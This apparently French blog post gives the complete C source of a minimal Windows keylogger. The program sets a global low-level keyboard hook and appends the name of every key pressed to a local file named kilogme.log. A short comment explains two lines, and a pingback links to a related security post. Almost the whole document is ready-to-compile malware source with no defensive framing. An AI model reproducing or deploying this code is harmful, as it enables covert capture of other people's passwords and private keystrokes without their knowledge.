Un petit code source d’un keylogger vraiment minimaliste… (38 lignes)
#include <windows.h> #include <stdio.h> #include <tchar.h> HHOOK hKeyHook; LRESULT KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) { if((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN))) { KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT *) lParam); TCHAR lpszName[255 + 1] = {0}; DWORD dwMsg = 1 + (hooked.scanCode << 16) + (hooked.flags << 24); FILE * file = NULL; if(!_tfopen_s(&file, TEXT("kilogme.log"), TEXT("a+"))) { lpszName[0] = TEXT(' '); GetKeyNameText(dwMsg, (lpszName + 1), ARRAYSIZE(lpszName) - 1); _fputts(lpszName, file); fclose(file); } } return CallNextHookEx(hKeyHook, nCode, wParam, lParam); } int WINAPI WinMain (HINSTANCE instance, HINSTANCE prev_instance, PSTR cmd_line, int cmd_show) { MSG message; hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, GetModuleHandle(NULL), 0); while (GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); } UnhookWindowsHookEx(hKeyHook); return ERROR_SUCCESS; }
Le code en ligne 11 et 16 ne sert qu’à mettre un espace entre les touches.
Ping : Keylogger Userland avec l’API Win32 « BreakInSecurity